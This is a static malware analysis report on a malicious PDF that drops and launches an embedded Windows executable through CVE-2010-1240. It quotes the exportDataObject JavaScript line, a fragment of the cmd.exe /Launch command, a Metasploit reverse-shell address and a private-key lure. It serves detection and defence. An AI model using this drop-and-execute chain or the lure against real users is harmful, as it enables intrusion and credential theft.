Malicious PDF — malware analysis report

Static analysis result for SHA-256 73b074e8beec1f79…

MALICIOUS

PDF

224.5 KB Created: 2009-03-24 11:33:15 -06:00 Authoring application: Writer (via OpenOffice.org 2.4) First seen: 2015-09-17
MD5: 2c92d04307f1cbb7c978c88a3e822600 SHA-1: 6ceb7369c474e9bdfb064d4bdfebbbbc2930b39f SHA-256: 73b074e8beec1f791724511f1b53931fabe322281dcc55ca02c08e670b2512fc
636 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript T1566.001 Spearphishing Attachment

The PDF file contains JavaScript that uses the `exportDataObject` function to save an embedded executable payload named 'bitcoin.pdf'. This executable is then launched via a PDF launch action targeting 'cmd.exe', indicating an attempt to execute a second-stage payload. The embedded executable was detected by ClamAV as 'Win.Trojan.MSShellcode-7', and the PDF itself was flagged as malicious by ML classifiers and ClamAV ('Pdf.Tool.Agent-1388586'). The presence of 'Private Key' text suggests a lure for credential theft or recovery scams.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9993

Heuristics 13

  • Adobe Reader Launch action command execution critical CVE exact CVE_2010_1240
    PDF uses the Adobe Reader/Acrobat Launch action pattern associated with CVE-2010-1240: cmd.exe is invoked with attacker-controlled parameters, paired with an embedded/exported payload.
  • ClamAV: Pdf.Tool.Agent-1388586 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Pdf.Tool.Agent-1388586
  • Launch action critical PDF_LAUNCH
    PDF contains a /Launch action whose target is an executable, URL, or UNC path — can start an external application
  • Embedded Windows executable payload in PDF stream critical PDF_EMBEDDED_PE_PAYLOAD
    PDF stream bytes contain an embedded Windows executable with a verified PE header. Exploit chains often hide droppers inside ordinary streams rather than standard /EmbeddedFile attachments.
  • /Launch action target: cmd.exe critical PDF_LAUNCH_COMMAND
    PDF /Launch action specifies an executable target with parameters '/Q /C %HOMEDRIVE%&cd %HOMEPATH%&(if exist "Desktop\\bitcoin.pdf" (cd "Desktop"' — references a known-dangerous executable (cmd, PowerShell, etc.).
  • Embedded attachment masquerades: declared document, content is windows-executable critical PDF_EMBEDDED_FILESPEC_CONTENT_MISMATCH
    An /EmbeddedFile attachment's declared filename extension or /Subtype MIME type contradicts the magic bytes of its decompressed content. The attachment is declared as a benign document or image but the bytes are an executable or executable-bearing archive. This is a deliberate deception used to hide droppers in PDF attachments and is a generic indicator of embed-and-drop weaponisation, independent of any specific CVE.
  • Recovery secret / private key request critical SE_SECRET_RECOVERY_LURE
    Document requests recovery phrases, private keys, backup codes, or saved passwords. Requests for these secrets in a document are high-risk.
  • Suspicious extracted artifact critical EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • /Launch action paired with attachment-dropping JS API high PDF_LAUNCH_PLUS_DROPPER_JS
    PDF combines a /Launch action with a JavaScript API call that writes or opens an attached/external resource — the canonical shape of the CVE-2010-1240 /Launch + exportDataObject family. Benign PDFs do not pair these surfaces; the combination indicates a drop-and-execute chain regardless of the specific JS API knobs or /Launch target.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded file low PDF_EMBEDDED
    PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.weidai.com/bmoney.txt In PDF document text
    • http://www.hashcash.org/papers/hashcash.pdfIn PDF document text
    • http://www.zeustech.net/Referenced by PDF JavaScript
    • http://]hostname[:port]/pathIn extracted file (bitcoin.pdf)
    • tcp://192.168.217.146:4444In extracted file (bitcoin.pdf)
    • http://www.monotype.comhttp://www.monotype.com/html/type/license.htmlIn extracted file (stream_011_off0000e0be.bin)
    • http://www.apache.org/Referenced by PDF JavaScript
    • http://www.monotype.com/html/mtname/ms_arial.htmlhttp://www.monotype.com/html/mtname/ms_welcome.htmlNOTIFICATIONIn extracted file (stream_011_off0000e0be.bin)
    • http://www.monotype.com/html/mtname/ms_couriernew.htmlhttp://www.monotype.com/html/mtname/ms_welcome.htmlNOTIFICATIONIn extracted file (font_03_sfnt_off00014439.bin)
    • http://www.monotype.com/html/mtname/ms_timesnewroman.htmlhttp://www.monotype.com/html/mtname/ms_welcome.htmlNOTIFICATIONIn extracted file (font_04_sfnt_off00019a94.bin)

Extracted artifacts 9

Files carved from inside the sample during analysis.

FilenameKindSourceSize
bitcoin.pdf pdf-embedded-file PDF EmbeddedFile object 71 at offset 0x2D132 73802 bytes
SHA-256: feef7a0f7be75bfff63d6b56a563846975826d48bc8775c2c9c67cf517467a7a
Detection
ClamAV: Win.Trojan.MSShellcode-7
Obfuscation or payload: likely
actual_type=PE; declared_or_context_type=PDF; filename=bitcoin.pdf; kind=pdf-embedded-file Static shellcode analysis recovered the Metasploit stager connect-back address: 192.168.217.146:4444 (reverse/x86, lab (non-routable)) Static shellcode analysis found candidate code region(s). Indicators: SC_PEB_ACCESS, SC_MSF_REVERSE, SC_PUSH_STRING Static shellcode analysis recovered API/import strings: kernel32.dll, advapi32.dll, KERNEL32.DLL, ADVAPI32.DLL, LoadLibraryA, GetProcAddress
javascript_obj0072_000.js pdf-javascript-stream PDF /JS object 72 at offset 0x37D9F 56 bytes
SHA-256: 2a420f1df3fbd91e6bae225d02861f198baeed47dbb708ab2d8c92b17f25fd59
Preview script
First 1,000 lines of the extracted script
this.exportDataObject({ cName: "bitcoin", nLaunch: 0 });
stream_011_off0000e0be.bin decompressed-pdf-stream PDF FlateDecoded stream at offset 0xE0BE 38580 bytes
SHA-256: 40c0b1724d09ad0b56cc5d52879ede9d805719e0f5262bd81618f06f4c59058f
font_00_sfnt_off00009323.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x9323 29212 bytes
SHA-256: 56da0c9fa8bf7316b6428c67df81da0288e49d5727332372698850912212486b
font_02_sfnt_off00013aed.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x13AED 2232 bytes
SHA-256: 8201d887c3b927dedab1ea649f116c875fa1111ef1ec5bfa230e1ee22777a18a
font_03_sfnt_off00014439.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x14439 36020 bytes
SHA-256: c24597e26ae279274a3ae22fcd42db9d28b37114b39cda7b8afb339046b7817f
font_04_sfnt_off00019a94.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x19A94 60572 bytes
SHA-256: 4e90cdf583a48b3b8b1deb4e525e528d044c0eb734dbc66bdfc264607c924cbd
font_05_sfnt_off000236a1.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x236A1 37812 bytes
SHA-256: ca86605d43b9a571de19358caf5a7c953b12269096fc8acc41bdc5807fd52d3d
font_06_sfnt_off00028f44.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x28F44 25632 bytes
SHA-256: 606daa3077a16a05d9c5ae6e95b6e674c6717a7683d8dc3e201525cbe8199761